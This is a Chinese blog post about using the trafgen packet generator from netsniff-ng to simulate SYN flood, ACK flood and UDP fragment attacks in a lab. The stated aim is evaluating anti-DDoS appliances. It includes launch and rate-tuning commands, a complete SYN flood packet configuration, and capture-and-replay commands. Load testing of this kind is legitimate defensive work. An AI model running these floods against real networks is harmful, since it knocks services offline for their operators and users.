高效能流量生成工具trafgen(DDoS模擬)

onephone發表於2017-01-14

因專案需要,要對主流的幾家抗DDoS裝置做測評,當然了最專業的是使用Spirent TestCenter,但受限於其他因素,最終決定搭建一個軟體環境來進行相關的DDoS測試。

本文主要講解的是如何使用trafgen工具發起DDoS攻擊(syn flood, ack flood等等)

synflood攻擊、ackflood攻擊、UDP fragment攻擊的詳細配置檔案見 github ddos-dos-tools

工具選擇

  1. 開源的流量生成工具很多,可用於模擬DoS攻擊的工具也不在少數,如hping、scapy(python庫)等等,但均存在著不足,如效能不夠,不能模擬DDoS攻擊(攻擊流IP和PORT不能動態變化)
  2. 通過詳細的對比測試(同hping、scapy、LOIC等對比測試,具體資料不宜公開),最後統一選擇了netsniff-ng套件中的trafgen攻擊,其在測試環境中可達到24萬pps的SYNFLOOD攻擊,是一款高速、多執行緒網路資料包生成工具
  3. trafgen 工具能夠動態生成攻擊IP和埠號,能夠通過配置檔案動態修改攻擊包的內容

簡單使用

1. 安裝

trafgen屬於netsniff-ng套件,是一款linux下的工具,安裝很方便,通過系統的線上安裝工具即可完成安裝,如centos下yum install netsniff-ng即可

2. 使用(SYN Flood攻擊)

  1. 工具的比較簡單,主要是配置檔案的編寫,假設已經寫好了一個synflood配置檔案

    • 鍵入命令trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose即可發起攻擊
    • 進一步的還可通過trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose --gap 1000 (以毫秒為單位)來調節速度
    • 進一步的還可通過trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose --kernel-pull 20 (預設10us)來調節速度
    • 詳細的可以man trafgen
  2. 配置檔案解讀(以synflood.trafgen檔案為例)

    • synflood.trafgen 模版,trafgen就是通過該檔案來生成特定的資料包的!看配置檔案的註釋基本能清除如何修改

      /* TCP SYN attack ( 64byte )  
       * Command example:  
       *  trafgen --cpp --dev em2 --conf synflood.trafgen --verbose  
       * Note: dynamic elements "drnd()" make trafgen slower  
       */  
      
      
      #define ETH_P_IP    0x0800  
      
      
      #define SYN        (1 << 1)  
      #define ACK        (1 << 4)  
      #define ECN        (1 << 6)  
      
      
      {  
        /* --- Ethernet Header --- */  
        /* NEED ADJUST */  
        // 0x00, 0x12, 0xc0, 0x02, 0xac, 0x56,  # MAC Destination  
        // 0x00, 0x12, 0xc0, drnd(3),  # MAC Source  
        0xf4, 0xe9, 0xd4, 0x8d, 0x04, 0x82, # MAC Destination  
        0xf4, 0xe9, 0xd4, 0x8c, 0xe2, 0xa2, # MAC Source  
      
      
        const16(ETH_P_IP),  
        /* IPv4 Version, IHL, TOS */  
        0b01000101, 0,  
        /* IPv4 Total Len */  
        const16(46),  
        /* IPv4 Ident */  
        drnd(2),  
        //const16(2),  
      
      
        /* IPv4 Flags, Frag Off */  
        0b01000000, 0,  
        /* IPv4 TTL */  
        64,  
        /* Proto TCP */  
        0x06,  
        /* IPv4 Checksum (IP header from, to) */  
        csumip(14, 33),  
      
      
        /* NEED ADJUST */  
        // 10, 10, 88, drnd(1), # Source IP  
        10, 10, 88, 173,  # Source IP  
        10, 10, 88, 172, # Dest IP  
      
      
        /* TCP Source Port */  
        drnd(2),  
        /* TCP Dest Port */  
        const16(80),  
        /* TCP Sequence Number */  
        drnd(4),  
        /* TCP Ackn. Number */  
        const32(0), /* NOTICE ACK==zero with SYN packets */  
      
      
        /* TCP Header length + Flags */  
        //const16((0x5 << 12) | SYN | ECN)    /* TCP SYN+ECN Flag */  
        //const16((0x5 << 12) | SYN | ACK)    /* TCP SYN+ACK Flag */  
        const16((0x5 << 12) | SYN)        /* TCP SYN Flag */  
        //const16((0x5 << 12) | ACK)        /* TCP ACK Flag */  
      
      
        /* Window Size */  
        const16(16),  
        /* TCP Checksum (offset IP, offset TCP) */  
        csumtcp(14, 34),  
        const16(0), /*PAD*/  
      
      
        /* Data */  
        "SYNswf"  
      }  
      
    • 配置檔案可通過drnd()函式來實現對應內容的動態生成,如IP、MAC地址等,但是會影響效能

image_1b6bf8ooa3im1ioc1kc7aeu1qo89.png-6kB

  • 修改MAC地址(攻擊/被攻擊MAC地址)

image_1b6bfeukr5m628h14ciupq1tnnm.png-11.8kB

  • 修改IP地址和攻擊協議及埠號,const16()將對應的十進位制數轉換成一個16位的二進位制數

image_1b6bftaek14a4il1fp5l3dr5213.png-15kB

  • 修改位SYN標誌(根據情況也可修改為其他的)

image_1b6bfv9751ojs1g6klulc4jaak1g.png-11.6kB

3. ACKFlood 攻擊

4. UDP fragment 攻擊

5. 退出命令

統一退出命令pgrep trafgen | xargs kill -s 9

其他

  1. 在trafgen效能仍達不到要求的情況下,可通過netsniff-ng進行流量回放,如下
    • 先捕獲synfloog攻擊資料包
      netsniff-ng --in ens33 --out synflood.pcap --silent --verbose --filter 'ether src 00:50:56:ab:a5:3f'
      trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose
    • 再重放synflood攻擊資料包
      netsniff-ng --in synflood.pcap --out ens33 --silent --prio-high --verbose
  2. 在用trafgen進行實時流量生成或netsniff-ng重放時,還可通過工具tc進行流量控制,具體請見"linux流量控制工具tc一文,簡單舉例如下
    image_1b6bgp1mntnf15a61bppjvs1f7a1t.png-15.8kB

相關文章